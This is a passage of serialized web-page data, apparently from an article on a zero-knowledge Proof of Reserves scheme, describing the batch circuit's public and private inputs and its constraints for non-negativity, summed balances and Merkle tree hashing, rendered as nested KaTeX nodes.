leaks.",{"type":24,"tag":1019,"props":95232,"children":95234},{"id":95233},"batch-circuit",[95235],{"type":29,"value":95236},"Batch Circuit",{"type":24,"tag":25,"props":95238,"children":95239},{},[95240],{"type":29,"value":95241},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":95243,"children":95244},{},[95245],{"type":24,"tag":7711,"props":95246,"children":95247},{},[95248],{"type":29,"value":95249},"Public Inputs",{"type":24,"tag":3207,"props":95251,"children":95252},{},[95253,95258,95263],{"type":24,"tag":3104,"props":95254,"children":95255},{},[95256],{"type":29,"value":95257},"Asset prices in USD",{"type":24,"tag":3104,"props":95259,"children":95260},{},[95261],{"type":29,"value":95262},"Merkle tree hash",{"type":24,"tag":3104,"props":95264,"children":95265},{},[95266],{"type":29,"value":95267},"Summed asset balances",{"type":24,"tag":25,"props":95269,"children":95270},{},[95271],{"type":24,"tag":7711,"props":95272,"children":95273},{},[95274],{"type":29,"value":95275},"Private Inputs",{"type":24,"tag":3207,"props":95277,"children":95278},{},[95279,95284],{"type":24,"tag":3104,"props":95280,"children":95281},{},[95282],{"type":29,"value":95283},"Users balances",{"type":24,"tag":3104,"props":95285,"children":95286},{},[95287],{"type":29,"value":95288},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":95290,"children":95291},{},[95292],{"type":24,"tag":7711,"props":95293,"children":95294},{},[95295],{"type":29,"value":95296},"Constraints",{"type":24,"tag":3207,"props":95298,"children":95299},{},[95300,95753,95921,96268,96666],{"type":24,"tag":3104,"props":95301,"children":95302},{},[95303],{"type":24,"tag":32,"props":95304,"children":95306},{"className":95305},[6368,6369],[95307],{"type":24,"tag":90,"props":95308,"children":95310},{"className":95309},[6374],[95311],{"type":24,"tag":90,"props":95312,"children":95314},{"className":95313,"ariaHidden":6380},[6379],[95315,95454,95658],{"type":24,"tag":90,"props":95316,"children":95318},{"className":95317},[6385],[95319,95324,95329,95335,95340,95345,95350,95355,95360,95367,95372,95377,95382,95441,95445,95450],{"type":24,"tag":90,"props":95320,"children":95323},{"className":95321,"style":95322},[6390],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":90,"props":95325,"children":95327},{"className":95326},[6396,23384],[95328],{"type":29,"value":69},{"type":24,"tag":90,"props":95330,"children":95332},{"className":95331},[6396,23384],[95333],{"type":29,"value":95334},"cco",{"type":24,"tag":90,"props":95336,"children":95338},{"className":95337},[6396,23384],[95339],{"type":29,"value":95136},{"type":24,"tag":90,"props":95341,"children":95343},{"className":95342},[6396,23384],[95344],{"type":29,"value":58228},{"type":24,"tag":90,"props":95346,"children":95348},{"className":95347},[6396,23384],[95349],{"type":29,"value":23526},{"type":24,"tag":90,"props":95351,"children":95353},{"className":95352,"style":94877},[6396],[95354],{"type":29,"value":5482},{"type":24,"tag":90,"props":95356,"children":95358},{"className":95357},[6396,23384],[95359],{"type":29,"value":53278},{"type":24,"tag":90,"props":95361,"children":95364},{"className":95362,"style":95363},[6396,23384],"margin-right:0.03588em;",[95365],{"type":29,"value":95366},"q",{"type":24,"tag":90,"props":95368,"children":95370},{"className":95369},[6396,23384],[95371],{"type":29,"value":95136},{"type":24,"tag":90,"props":95373,"children":95375},{"className":95374},[6396,23384],[95376],{"type":29,"value":6123},{"type":24,"tag":90,"props":95378,"children":95380},{"className":95379},[6396,23384],[95381],{"type":29,"value":23526},{"type":24,"tag":90,"props":95383,"children":95385},{"className":95384},[6396],[95386,95391],{"type":24,"tag":90,"props":95387,"children":95389},{"className":95388,"style":95363},[6396,23384],[95390],{"type":29,"value":5513},{"type":24,"tag":90,"props":95392,"children":95394},{"className":95393},[6412],[95395],{"type":24,"tag":90,"props":95396,"children":95398},{"className":95397},[6417,23438],[95399,95430],{"type":24,"tag":90,"props":95400,"children":95402},{"className":95401},[6422],[95403,95425],{"type":24,"tag":90,"props":95404,"children":95407},{"className":95405,"style":95406},[6427],"height:0.3117em;",[95408],{"type":24,"tag":90,"props":95409,"children":95411},{"style":95410},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[95412,95416],{"type":24,"tag":90,"props":95413,"children":95415},{"className":95414,"style":6437},[6436],[],{"type":24,"tag":90,"props":95417,"children":95419},{"className":95418},[6442,6443,6444,6445],[95420],{"type":24,"tag":90,"props":95421,"children":95423},{"className":95422},[6396,23384,6445],[95424],{"type":29,"value":6123},{"type":24,"tag":90,"props":95426,"children":95428},{"className":95427},[23541],[95429],{"type":29,"value":23544},{"type":24,"tag":90,"props":95431,"children":95433},{"className":95432},[6422],[95434],{"type":24,"tag":90,"props":95435,"children":95437},{"className":95436,"style":94960},[6427],[95438],{"type":24,"tag":90,"props":95439,"children":95440},{},[],{"type":24,"tag":90,"props":95442,"children":95444},{"className":95443,"style":6573},[6475],[],{"type":24,"tag":90,"props":95446,"children":95448},{"className":95447},[6578],[95449],{"type":29,"value":10951},{"type":24,"tag":90,"props":95451,"children":95453},{"className":95452,"style":6573},[6475],[],{"type":24,"tag":90,"props":95455,"children":95457},{"className":95456},[6385],[95458,95462,95468,95473,95478,95483,95488,95493,95498,95503,95508,95513,95518,95523,95528,95533,95538,95543,95600,95605,95610,95615,95620,95625,95630,95635,95640,95645,95649,95654],{"type":24,"tag":90,"props":95459,"children":95461},{"className":95460,"style":94819},[6390],[],{"type":24,"tag":90,"props":95463,"children":95465},{"className":95464},[6396],[95466],{"type":29,"value":95467},"Σ",{"type":24,"tag":90,"props":95469,"children":95471},{"className":95470},[6475],[95472],{"type":29,"value":23485},{"type":24,"tag":90,"props":95474,"children":95476},{"className":95475},[6396,23384],[95477],{"type":29,"value":69},{"type":24,"tag":90,"props":95479,"children":95481},{"className":95480},[6396,23384],[95482],{"type":29,"value":95334},{"type":24,"tag":90,"props":95484,"children":95486},{"className":95485},[6396,23384],[95487],{"type":29,"value":95136},{"type":24,"tag":90,"props":95489,"children":95491},{"className":95490},[6396,23384],[95492],{"type":29,"value":58228},{"type":24,"tag":90,"props":95494,"children":95496},{"className":95495},[6396,23384],[95497],{"type":29,"value":23526},{"type":24,"tag":90,"props":95499,"children":95501},{"className":95500,"style":94877},[6396],[95502],{"type":29,"value":5482},{"type":24,"tag":90,"props":95504,"children":95506},{"className":95505},[6396,23384],[95507],{"type":29,"value":69},{"type":24,"tag":90,"props":95509,"children":95511},{"className":95510},[6396,23384],[95512],{"type":29,"value":94868},{"type":24,"tag":90,"props":95514,"children":95516},{"className":95515},[6396,23384],[95517],{"type":29,"value":23526},{"type":24,"tag":90,"props":95519,"children":95521},{"className":95520,"style":94877},[6396],[95522],{"type":29,"value":5482},{"type":24,"tag":90,"props":95524,"children":95526},{"className":95525},[6396,23384],[95527],{"type":29,"value":94885},{"type":24,"tag":90,"props":95529,"children":95531},{"className":95530,"style":94889},[6396,23384],[95532],{"type":29,"value":94892},{"type":24,"tag":90,"props":95534,"children":95536},{"className":95535},[6396,23384],[95537],{"type":29,"value":94898},{"type":24,"tag":90,"props":95539,"children":95541},{"className":95540},[6396,23384],[95542],{"type":29,"value":94904},{"type":24,"tag":90,"props":95544,"children":95546},{"className":95545},[6396],[95547,95552],{"type":24,"tag":90,"props":95548,"children":95550},{"className":95549},[6396,23384],[95551],{"type":29,"value":13020},{"type":24,"tag":90,"props":95553,"children":95555},{"className":95554},[6412],[95556],{"type":24,"tag":90,"props":95557,"children":95559},{"className":95558},[6417,23438],[95560,95589],{"type":24,"tag":90,"props":95561,"children":95563},{"className":95562},[6422],[95564,95584],{"type":24,"tag":90,"props":95565,"children":95567},{"className":95566,"style":95406},[6427],[95568],{"type":24,"tag":90,"props":95569,"children":95570},{"style":94933},[95571,95575],{"type":24,"tag":90,"props":95572,"children":95574},{"className":95573,"style":6437},[6436],[],{"type":24,"tag":90,"props":95576,"children":95578},{"className":95577},[6442,6443,6444,6445],[95579],{"type":24,"tag":90,"props":95580,"children":95582},{"className":95581},[6396,23384,6445],[95583],{"type":29,"value":6123},{"type":24,"tag":90,"props":95585,"children":95587},{"className":95586},[23541],[95588],{"type":29,"value":23544},{"type":24,"tag":90,"props":95590,"children":95592},{"className":95591},[6422],[95593],{"type":24,"tag":90,"props":95594,"children":95596},{"className":95595,"style":94960},[6427],[95597],{"type":24,"tag":90,"props":95598,"children":95599},{},[],{"type":24,"tag":90,"props":95601,"children":95603},{"className":95602},[23513],[95604],{"type":29,"value":719},{"type":24,"tag":90,"props":95606,"children":95608},{"className":95607},[6396,23384],[95609],{"type":29,"value":69},{"type":24,"tag":90,"props":95611,"children":95613},{"className":95612},[6396,23384],[95614],{"type":29,"value":94868},{"type":24,"tag":90,"props":95616,"children":95618},{"className":95617},[6396,23384],[95619],{"type":29,"value":23526},{"type":24,"tag":90,"props":95621,"children":95623},{"className":95622,"style":94877},[6396],[95624],{"type":29,"value":5482},{"type":24,"tag":90,"props":95626,"children":95628},{"className":95627},[6396,23384],[95629],{"type":29,"value":58228},{"type":24,"tag":90,"props":95631,"children":95633},{"className":95632},[6396,23384],[95634],{"type":29,"value":95136},{"type":24,"tag":90,"props":95636,"children":95638},{"className":95637},[6396,23384],[95639],{"type":29,"value":52957},{"type":24,"tag":90,"props":95641,"children":95643},{"className":95642},[23535],[95644],{"type":29,"value":1914},{"type":24,"tag":90,"props":95646,"children":95648},{"className":95647,"style":6476},[6475],[],{"type":24,"tag":90,"props":95650,"children":95652},{"className":95651},[6481],[95653],{"type":29,"value":6484},{"type":24,"tag":90,"props":95655,"children":95657},{"className":95656,"style":6476},[6475],[],{"type":24,"tag":90,"props":95659,"children":95661},{"className":95660},[6385],[95662,95666,95671,95676,95681,95686,95691,95697,95702,95708,95713,95718,95723,95728,95733,95738,95743,95748],{"type":24,"tag":90,"props":95663,"children":95665},{"className":95664,"style":94819},[6390],[],{"type":24,"tag":90,"props":95667,"children":95669},{"className":95668},[6396,23384],[95670],{"type":29,"value":69},{"type":24,"tag":90,"props":95672,"children":95674},{"className":95673},[6396,23384],[95675],{"type":29,"value":94868},{"type":24,"tag":90,"props":95677,"children":95679},{"className":95678},[6396,23384],[95680],{"type":29,"value":23526},{"type":24,"tag":90,"props":95682,"children":95684},{"className":95683,"style":94877},[6396],[95685],{"type":29,"value":5482},{"type":24,"tag":90,"props":95687,"children":95689},{"className":95688},[6396,23384],[95690],{"type":29,"value":25},{"type":24,"tag":90,"props":95692,"children":95694},{"className":95693,"style":94877},[6396,23384],[95695],{"type":29,"value":95696},"r",{"type":24,"tag":90,"props":95698,"children":95700},{"className":95699},[6396,23384],[95701],{"type":29,"value":6123},{"type":24,"tag":90,"props":95703,"children":95705},{"className":95704},[6396,23384],[95706],{"type":29,"value":95707},"ces",{"type":24,"tag":90,"props":95709,"children":95711},{"className":95710},[23513],[95712],{"type":29,"value":719},{"type":24,"tag":90,"props":95714,"children":95716},{"className":95715},[6396,23384],[95717],{"type":29,"value":69},{"type":24,"tag":90,"props":95719,"children":95721},{"className":95720},[6396,23384],[95722],{"type":29,"value":94868},{"type":24,"tag":90,"props":95724,"children":95726},{"className":95725},[6396,23384],[95727],{"type":29,"value":23526},{"type":24,"tag":90,"props":95729,"children":95731},{"className":95730,"style":94877},[6396],[95732],{"type":29,"value":5482},{"type":24,"tag":90,"props":95734,"children":95736},{"className":95735},[6396,23384],[95737],{"type":29,"value":58228},{"type":24,"tag":90,"props":95739,"children":95741},{"className":95740},[6396,23384],[95742],{"type":29,"value":95136},{"type":24,"tag":90,"props":95744,"children":95746},{"className":95745},[6396,23384],[95747],{"type":29,"value":52957},{"type":24,"tag":90,"props":95749,"children":95751},{"className":95750},[23535],[95752],{"type":29,"value":1914},{"type":24,"tag":3104,"props":95754,"children":95755},{},[95756,95915,95916],{"type":24,"tag":32,"props":95757,"children":95759},{"className":95758},[6368,6369],[95760],{"type":24,"tag":90,"props":95761,"children":95763},{"className":95762},[6374],[95764],{"type":24,"tag":90,"props":95765,"children":95767},{"className":95766,"ariaHidden":6380},[6379],[95768,95901],{"type":24,"tag":90,"props":95769,"children":95771},{"className":95770},[6385],[95772,95776,95781,95786,95791,95796,95801,95806,95811,95816,95821,95826,95831,95888,95892,95897],{"type":24,"tag":90,"props":95773,"children":95775},{"className":95774,"style":95322},[6390],[],{"type":24,"tag":90,"props":95777,"children":95779},{"className":95778},[6396,23384],[95780],{"type":29,"value":69},{"type":24,"tag":90,"props":95782,"children":95784},{"className":95783},[6396,23384],[95785],{"type":29,"value":95334},{"type":24,"tag":90,"props":95787,"children":95789},{"className":95788},[6396,23384],[95790],{"type":29,"value":95136},{"type":24,"tag":90,"props":95792,"children":95794},{"className":95793},[6396,23384],[95795],{"type":29,"value":58228},{"type":24,"tag":90,"props":95797,"children":95799},{"className":95798},[6396,23384],[95800],{"type":29,"value":23526},{"type":24,"tag":90,"props":95802,"children":95804},{"className":95803,"style":94877},[6396],[95805],{"type":29,"value":5482},{"type":24,"tag":90,"props":95807,"children":95809},{"className":95808},[6396,23384],[95810],{"type":29,"value":53278},{"type":24,"tag":90,"props":95812,"children":95814},{"className":95813,"style":95363},[6396,23384],[95815],{"type":29,"value":95366},{"type":24,"tag":90,"props":95817,"children":95819},{"className":95818},[6396,23384],[95820],{"type":29,"value":95136},{"type":24,"tag":90,"props":95822,"children":95824},{"className":95823},[6396,23384],[95825],{"type":29,"value":6123},{"type":24,"tag":90,"props":95827,"children":95829},{"className":95828},[6396,23384],[95830],{"type":29,"value":23526},{"type":24,"tag":90,"props":95832,"children":95834},{"className":95833},[6396],[95835,95840],{"type":24,"tag":90,"props":95836,"children":95838},{"className":95837,"style":95363},[6396,23384],[95839],{"type":29,"value":5513},{"type":24,"tag":90,"props":95841,"children":95843},{"className":95842},[6412],[95844],{"type":24,"tag":90,"props":95845,"children":95847},{"className":95846},[6417,23438],[95848,95877],{"type":24,"tag":90,"props":95849,"children":95851},{"className":95850},[6422],[95852,95872],{"type":24,"tag":90,"props":95853,"children":95855},{"className":95854,"style":95406},[6427],[95856],{"type":24,"tag":90,"props":95857,"children":95858},{"style":95410},[95859,95863],{"type":24,"tag":90,"props":95860,"children":95862},{"className":95861,"style":6437},[6436],[],{"type":24,"tag":90,"props":95864,"children":95866},{"className":95865},[6442,6443,6444,6445],[95867],{"type":24,"tag":90,"props":95868,"children":95870},{"className":95869},[6396,23384,6445],[95871],{"type":29,"value":6123},{"type":24,"tag":90,"props":95873,"children":95875},{"className":95874},[23541],[95876],{"type":29,"value":23544},{"type":24,"tag":90,"props":95878,"children":95880},{"className":95879},[6422],[95881],{"type":24,"tag":90,"props":95882,"children":95884},{"className":95883,"style":94960},[6427],[95885],{"type":24,"tag":90,"props":95886,"children":95887},{},[],{"type":24,"tag":90,"props":95889,"children":95891},{"className":95890,"style":6573},[6475],[],{"type":24,"tag":90,"props":95893,"children":95895},{"className":95894},[6578],[95896],{"type":29,"value":12312},{"type":24,"tag":90,"props":95898,"children":95900},{"className":95899,"style":6573},[6475],[],{"type":24,"tag":90,"props":95902,"children":95904},{"className":95903},[6385],[95905,95910],{"type":24,"tag":90,"props":95906,"children":95909},{"className":95907,"style":95908},[6390],"height:0.6444em;",[],{"type":24,"tag":90,"props":95911,"children":95913},{"className":95912},[6396],[95914],{"type":29,"value":6408},{"type":29,"value":2877},{"type":24,"tag":7711,"props":95917,"children":95918},{},[95919],{"type":29,"value":95920},"(non-negativity)",{"type":24,"tag":3104,"props":95922,"children":95923},{},[95924,96262,96263],{"type":24,"tag":32,"props":95925,"children":95927},{"className":95926},[6368,6369],[95928],{"type":24,"tag":90,"props":95929,"children":95931},{"className":95930},[6374],[95932],{"type":24,"tag":90,"props":95933,"children":95935},{"className":95934,"ariaHidden":6380},[6379],[95936,96072],{"type":24,"tag":90,"props":95937,"children":95939},{"className":95938},[6385],[95940,95944,95949,95954,95959,95964,95969,95974,95979,95984,95989,95994,95999,96004,96009,96014,96019,96024,96029,96034,96039,96044,96049,96054,96059,96063,96068],{"type":24,"tag":90,"props":95941,"children":95943},{"className":95942,"style":94819},[6390],[],{"type":24,"tag":90,"props":95945,"children":95947},{"className":95946},[6396,23384],[95948],{"type":29,"value":23526},{"type":24,"tag":90,"props":95950,"children":95952},{"className":95951},[6396,23384],[95953],{"type":29,"value":94847},{"type":24,"tag":90,"props":95955,"children":95957},{"className":95956},[6396,23384],[95958],{"type":29,"value":23526},{"type":24,"tag":90,"props":95960,"children":95962},{"className":95961},[6396,23384],[95963],{"type":29,"value":69},{"type":24,"tag":90,"props":95965,"children":95967},{"className":95966,"style":94889},[6396,23384],[95968],{"type":29,"value":94892},{"type":24,"tag":90,"props":95970,"children":95972},{"className":95971,"style":94877},[6396],[95973],{"type":29,"value":5482},{"type":24,"tag":90,"props":95975,"children":95977},{"className":95976},[6396,23384],[95978],{"type":29,"value":69},{"type":24,"tag":90,"props":95980,"children":95982},{"className":95981},[6396,23384],[95983],{"type":29,"value":94868},{"type":24,"tag":90,"props":95985,"children":95987},{"className":95986},[6396,23384],[95988],{"type":29,"value":23526},{"type":24,"tag":90,"props":95990,"children":95992},{"className":95991,"style":94877},[6396],[95993],{"type":29,"value":5482},{"type":24,"tag":90,"props":95995,"children":95997},{"className":95996},[6396,23384],[95998],{"type":29,"value":94885},{"type":24,"tag":90,"props":96000,"children":96002},{"className":96001,"style":94889},[6396,23384],[96003],{"type":29,"value":94892},{"type":24,"tag":90,"props":96005,"children":96007},{"className":96006},[6396,23384],[96008],{"type":29,"value":94898},{"type":24,"tag":90,"props":96010,"children":96012},{"className":96011},[6396,23384],[96013],{"type":29,"value":94904},{"type":24,"tag":90,"props":96015,"children":96017},{"className":96016},[23513],[96018],{"type":29,"value":719},{"type":24,"tag":90,"props":96020,"children":96022},{"className":96021},[6396,23384],[96023],{"type":29,"value":69},{"type":24,"tag":90,"props":96025,"children":96027},{"className":96026},[6396,23384],[96028],{"type":29,"value":94868},{"type":24,"tag":90,"props":96030,"children":96032},{"className":96031},[6396,23384],[96033],{"type":29,"value":23526},{"type":24,"tag":90,"props":96035,"children":96037},{"className":96036,"style":94877},[6396],[96038],{"type":29,"value":5482},{"type":24,"tag":90,"props":96040,"children":96042},{"className":96041},[6396,23384],[96043],{"type":29,"value":58228},{"type":24,"tag":90,"props":96045,"children":96047},{"className":96046},[6396,23384],[96048],{"type":29,"value":95136},{"type":24,"tag":90,"props":96050,"children":96052},{"className":96051},[6396,23384],[96053],{"type":29,"value":52957},{"type":24,"tag":90,"props":96055,"children":96057},{"className":96056},[23535],[96058],{"type":29,"value":1914},{"type":24,"tag":90,"props":96060,"children":96062},{"className":96061,"style":6573},[6475],[],{"type":24,"tag":90,"props":96064,"children":96066},{"className":96065},[6578],[96067],{"type":29,"value":10951},{"type":24,"tag":90,"props":96069,"children":96071},{"className":96070,"style":6573},[6475],[],{"type":24,"tag":90,"props":96073,"children":96075},{"className":96074},[6385],[96076,96080,96085,96090,96095,96100,96105,96110,96115,96120,96125,96130,96135,96140,96145,96150,96155,96160,96217,96222,96227,96232,96237,96242,96247,96252,96257],{"type":24,"tag":90,"props":96077,"children":96079},{"className":96078,"style":94819},[6390],[],{"type":24,"tag":90,"props":96081,"children":96083},{"className":96082},[6396],[96084],{"type":29,"value":95467},{"type":24,"tag":90,"props":96086,"children":96088},{"className":96087},[6475],[96089],{"type":29,"value":23485},{"type":24,"tag":90,"props":96091,"children":96093},{"className":96092},[6396,23384],[96094],{"type":29,"value":69},{"type":24,"tag":90,"props":96096,"children":96098},{"className":96097},[6396,23384],[96099],{"type":29,"value":95334},{"type":24,"tag":90,"props":96101,"children":96103},{"className":96102},[6396,23384],[96104],{"type":29,"value":95136},{"type":24,"tag":90,"props":96106,"children":96108},{"className":96107},[6396,23384],[96109],{"type":29,"value":58228},{"type":24,"tag":90,"props":96111,"children":96113},{"className":96112},[6396,23384],[96114],{"type":29,"value":23526},{"type":24,"tag":90,"props":96116,"children":96118},{"className":96117,"style":94877},[6396],[96119],{"type":29,"value":5482},{"type":24,"tag":90,"props":96121,"children":96123},{"className":96122},[6396,23384],[96124],{"type":29,"value":69},{"type":24,"tag":90,"props":96126,"children":96128},{"className":96127},[6396,23384],[96129],{"type":29,"value":94868},{"type":24,"tag":90,"props":96131,"children":96133},{"className":96132},[6396,23384],[96134],{"type":29,"value":23526},{"type":24,"tag":90,"props":96136,"children":96138},{"className":96137,"style":94877},[6396],[96139],{"type":29,"value":5482},{"type":24,"tag":90,"props":96141,"children":96143},{"className":96142},[6396,23384],[96144],{"type":29,"value":94885},{"type":24,"tag":90,"props":96146,"children":96148},{"className":96147,"style":94889},[6396,23384],[96149],{"type":29,"value":94892},{"type":24,"tag":90,"props":96151,"children":96153},{"className":96152},[6396,23384],[96154],{"type":29,"value":94898},{"type":24,"tag":90,"props":96156,"children":96158},{"className":96157},[6396,23384],[96159],{"type":29,"value":94904},{"type":24,"tag":90,"props":96161,"children":96163},{"className":96162},[6396],[96164,96169],{"type":24,"tag":90,"props":96165,"children":96167},{"className":96166},[6396,23384],[96168],{"type":29,"value":13020},{"type":24,"tag":90,"props":96170,"children":96172},{"className":96171},[6412],[96173],{"type":24,"tag":90,"props":96174,"children":96176},{"className":96175},[6417,23438],[96177,96206],{"type":24,"tag":90,"props":96178,"children":96180},{"className":96179},[6422],[96181,96201],{"type":24,"tag":90,"props":96182,"children":96184},{"className":96183,"style":95406},[6427],[96185],{"type":24,"tag":90,"props":96186,"children":96187},{"style":94933},[96188,96192],{"type":24,"tag":90,"props":96189,"children":96191},{"className":96190,"style":6437},[6436],[],{"type":24,"tag":90,"props":96193,"children":96195},{"className":96194},[6442,6443,6444,6445],[96196],{"type":24,"tag":90,"props":96197,"children":96199},{"className":96198},[6396,23384,6445],[96200],{"type":29,"value":6123},{"type":24,"tag":90,"props":96202,"children":96204},{"className":96203},[23541],[96205],{"type":29,"value":23544},{"type":24,"tag":90,"props":96207,"children":96209},{"className":96208},[6422],[96210],{"type":24,"tag":90,"props":96211,"children":96213},{"className":96212,"style":94960},[6427],[96214],{"type":24,"tag":90,"props":96215,"children":96216},{},[],{"type":24,"tag":90,"props":96218,"children":96220},{"className":96219},[23513],[96221],{"type":29,"value":719},{"type":24,"tag":90,"props":96223,"children":96225},{"className":96224},[6396,23384],[96226],{"type":29,"value":69},{"type":24,"tag":90,"props":96228,"children":96230},{"className":96229},[6396,23384],[96231],{"type":29,"value":94868},{"type":24,"tag":90,"props":96233,"children":96235},{"className":96234},[6396,23384],[96236],{"type":29,"value":23526},{"type":24,"tag":90,"props":96238,"children":96240},{"className":96239,"style":94877},[6396],[96241],{"type":29,"value":5482},{"type":24,"tag":90,"props":96243,"children":96245},{"className":96244},[6396,23384],[96246],{"type":29,"value":58228},{"type":24,"tag":90,"props":96248,"children":96250},{"className":96249},[6396,23384],[96251],{"type":29,"value":95136},{"type":24,"tag":90,"props":96253,"children":96255},{"className":96254},[6396,23384],[96256],{"type":29,"value":52957},{"type":24,"tag":90,"props":96258,"children":96260},{"className":96259},[23535],[96261],{"type":29,"value":1914},{"type":29,"value":2877},{"type":24,"tag":7711,"props":96264,"children":96265},{},[96266],{"type":29,"value":96267},"(sum proof)",{"type":24,"tag":3104,"props":96269,"children":96270},{},[96271,96660,96661],{"type":24,"tag":32,"props":96272,"children":96274},{"className":96273},[6368,6369],[96275],{"type":24,"tag":90,"props":96276,"children":96278},{"className":96277},[6374],[96279],{"type":24,"tag":90,"props":96280,"children":96282},{"className":96281,"ariaHidden":6380},[6379],[96283,96369],{"type":24,"tag":90,"props":96284,"children":96286},{"className":96285},[6385],[96287,96292,96297,96303,96309,96314,96319,96324,96329,96335,96340,96346,96351,96356,96360,96365],{"type":24,"tag":90,"props":96288,"children":96291},{"className":96289,"style":96290},[6390],"height:1.0044em;vertical-align:-0.31em;",[],{"type":24,"tag":90,"props":96293,"children":96295},{"className":96294},[6396,23384],[96296],{"type":29,"value":52957},{"type":24,"tag":90,"props":96298,"children":96300},{"className":96299,"style":94877},[6396,23384],[96301],{"type":29,"value":96302},"er",{"type":24,"tag":90,"props":96304,"children":96307},{"className":96305,"style":96306},[6396,23384],"margin-right:0.03148em;",[96308],{"type":29,"value":90514},{"type":24,"tag":90,"props":96310,"children":96312},{"className":96311,"style":94889},[6396,23384],[96313],{"type":29,"value":94892},{"type":24,"tag":90,"props":96315,"children":96317},{"className":96316},[6396,23384],[96318],{"type":29,"value":53278},{"type":24,"tag":90,"props":96320,"children":96322},{"className":96321,"style":94877},[6396],[96323],{"type":29,"value":5482},{"type":24,"tag":90,"props":96325,"children":96327},{"className":96326},[6396,23384],[96328],{"type":29,"value":23526},{"type":24,"tag":90,"props":96330,"children":96332},{"className":96331},[6396,23384],[96333],{"type":29,"value":96334},"ree",{"type":24,"tag":90,"props":96336,"children":96338},{"className":96337,"style":94877},[6396],[96339],{"type":29,"value":5482},{"type":24,"tag":90,"props":96341,"children":96343},{"className":96342},[6396,23384],[96344],{"type":29,"value":96345},"ha",{"type":24,"tag":90,"props":96347,"children":96349},{"className":96348},[6396,23384],[96350],{"type":29,"value":13020},{"type":24,"tag":90,"props":96352,"children":96354},{"className":96353},[6396,23384],[96355],{"type":29,"value":86175},{"type":24,"tag":90,"props":96357,"children":96359},{"className":96358,"style":6573},[6475],[],{"type":24,"tag":90,"props":96361,"children":96363},{"className":96362},[6578],[96364],{"type":29,"value":10951},{"type":24,"tag":90,"props":96366,"children":96368},{"className":96367,"style":6573},[6475],[],{"type":24,"tag":90,"props":96370,"children":96372},{"className":96371},[6385],[96373,96377,96382,96387,96392,96397,96402,96407,96412,96417,96422,96479,96484,96488,96493,96498,96555,96560,96565,96569,96574,96579,96583,96588,96593,96655],{"type":24,"tag":90,"props":96374,"children":96376},{"className":96375,"style":6496},[6390],[],{"type":24,"tag":90,"props":96378,"children":96380},{"className":96379,"style":23385},[6396,23384],[96381],{"type":29,"value":23388},{"type":24,"tag":90,"props":96383,"children":96385},{"className":96384},[6396,23384],[96386],{"type":29,"value":94831},{"type":24,"tag":90,"props":96388,"children":96390},{"className":96389},[6396,23384],[96391],{"type":29,"value":6123},{"type":24,"tag":90,"props":96393,"children":96395},{"className":96394},[6396,23384],[96396],{"type":29,"value":72392},{"type":24,"tag":90,"props":96398,"children":96400},{"className":96399},[6396,23384],[96401],{"type":29,"value":94847},{"type":24,"tag":90,"props":96403,"children":96405},{"className":96404},[6396,23384],[96406],{"type":29,"value":58228},{"type":24,"tag":90,"props":96408,"children":96410},{"className":96409},[23513],[96411],{"type":29,"value":117},{"type":24,"tag":90,"props":96413,"children":96415},{"className":96414},[6396,23384],[96416],{"type":29,"value":96345},{"type":24,"tag":90,"props":96418,"children":96420},{"className":96419},[6396,23384],[96421],{"type":29,"value":13020},{"type":24,"tag":90,"props":96423,"children":96425},{"className":96424},[6396],[96426,96431],{"type":24,"tag":90,"props":96427,"children":96429},{"className":96428},[6396,23384],[96430],{"type":29,"value":86175},{"type":24,"tag":90,"props":96432,"children":96434},{"className":96433},[6412],[96435],{"type":24,"tag":90,"props":96436,"children":96438},{"className":96437},[6417,23438],[96439,96468],{"type":24,"tag":90,"props":96440,"children":96442},{"className":96441},[6422],[96443,96463],{"type":24,"tag":90,"props":96444,"children":96446},{"className":96445,"style":94929},[6427],[96447],{"type":24,"tag":90,"props":96448,"children":96449},{"style":94933},[96450,96454],{"type":24,"tag":90,"props":96451,"children":96453},{"className":96452,"style":6437},[6436],[],{"type":24,"tag":90,"props":96455,"children":96457},{"className":96456},[6442,6443,6444,6445],[96458],{"type":24,"tag":90,"props":96459,"children":96461},{"className":96460},[6396,6445],[96462],{"type":29,"value":6408},{"type":24,"tag":90,"props":96464,"children":96466},{"className":96465},[23541],[96467],{"type":29,"value":23544},{"type":24,"tag":90,"props":96469,"children":96471},{"className":96470},[6422],[96472],{"type":24,"tag":90,"props":96473,"children":96475},{"className":96474,"style":94960},[6427],[96476],{"type":24,"tag":90,"props":96477,"children":96478},{},[],{"type":24,"tag":90,"props":96480,"children":96482},{"className":96481},[6507],[96483],{"type":29,"value":6510},{"type":24,"tag":90,"props":96485,"children":96487},{"className":96486,"style":6514},[6475],[],{"type":24,"tag":90,"props":96489,"children":96491},{"className":96490},[6396,23384],[96492],{"type":29,"value":96345},{"type":24,"tag":90,"props":96494,"children":96496},{"className":96495},[6396,23384],[96497],{"type":29,"value":13020},{"type":24,"tag":90,"props":96499,"children":96501},{"className":96500},[6396],[96502,96507],{"type":24,"tag":90,"props":96503,"children":96505},{"className":96504},[6396,23384],[96506],{"type":29,"value":86175},{"type":24,"tag":90,"props":96508,"children":96510},{"className":96509},[6412],[96511],{"type":24,"tag":90,"props":96512,"children":96514},{"className":96513},[6417,23438],[96515,96544],{"type":24,"tag":90,"props":96516,"children":96518},{"className":96517},[6422],[96519,96539],{"type":24,"tag":90,"props":96520,"children":96522},{"className":96521,"style":94929},[6427],[96523],{"type":24,"tag":90,"props":96524,"children":96525},{"style":94933},[96526,96530],{"type":24,"tag":90,"props":96527,"children":96529},{"className":96528,"style":6437},[6436],[],{"type":24,"tag":90,"props":96531,"children":96533},{"className":96532},[6442,6443,6444,6445],[96534],{"type":24,"tag":90,"props":96535,"children":96537},{"className":96536},[6396,6445],[96538],{"type":29,"value":534},{"type":24,"tag":90,"props":96540,"children":96542},{"className":96541},[23541],[96543],{"type":29,"value":23544},{"type":24,"tag":90,"props":96545,"children":96547},{"className":96546},[6422],[96548],{"type":24,"tag":90,"props":96549,"children":96551},{"className":96550,"style":94960},[6427],[96552],{"type":24,"tag":90,"props":96553,"children":96554},{},[],{"type":24,"tag":90,"props":96556,"children":96558},{"className":96557},[6507],[96559],{"type":29,"value":6510},{"type":24,"tag":90,"props":96561,"children":96563},{"className":96562},[6475],[96564],{"type":29,"value":23485},{"type":24,"tag":90,"props":96566,"children":96568},{"className":96567,"